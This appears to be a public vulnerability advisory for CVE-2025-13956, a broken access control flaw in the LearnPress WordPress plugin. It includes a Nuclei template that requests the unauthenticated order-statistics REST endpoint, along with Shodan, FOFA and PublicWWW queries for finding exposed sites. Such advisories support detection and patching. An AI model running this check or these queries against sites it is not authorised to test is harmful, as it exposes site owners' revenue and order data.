CVE-2025-13956: LearnPress < 4.3.2 - Broken Access Control

2026-02-24 LearnPress PoC Public

Description

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the statistic function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to view the plugin's orders statistics, including total revenue summaries and order status counts.

PoC

id: CVE-2025-13956

info:
  name: LearnPress < 4.3.2 - Broken Access Control
  author: pussycat0x
  severity: medium
  description: |
    The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the statistic function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to view the plugin's orders statistics, including total revenue summaries and order status counts.
  impact: |
    Unauthenticated attackers can view sensitive order statistics including revenue and order status, leading to information disclosure.
  remediation: |
    Update to a version later than 4.3.1 or the latest available version.
  reference:
    - https://wpscan.com/vulnerability/b4c0e309-45d1-4b00-875d-ec8a76910253/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-13956
    epss-score: 0.00892
    epss-percentile: 0.57674
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/learnpress/"
    fofa-query: body="/wp-content/plugins/learnpress/"
    shodan-query: http.html:"/wp-content/plugins/learnpress/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,learnpress,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/lp/v1/orders/statistic"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "total-raised", "order-completed", "order-pending", "order-cancelled", "Total Raised")'
          - 'contains(body, "status\":\"success")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100af0fe2e0038178e700fe7f2fb9d5a1cd7d77ed779187d8b522eabc577038ed70022100a2b7bfca9c4a00f1c18426571d7f901a33026eaaab843330319a028fe0c7657f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities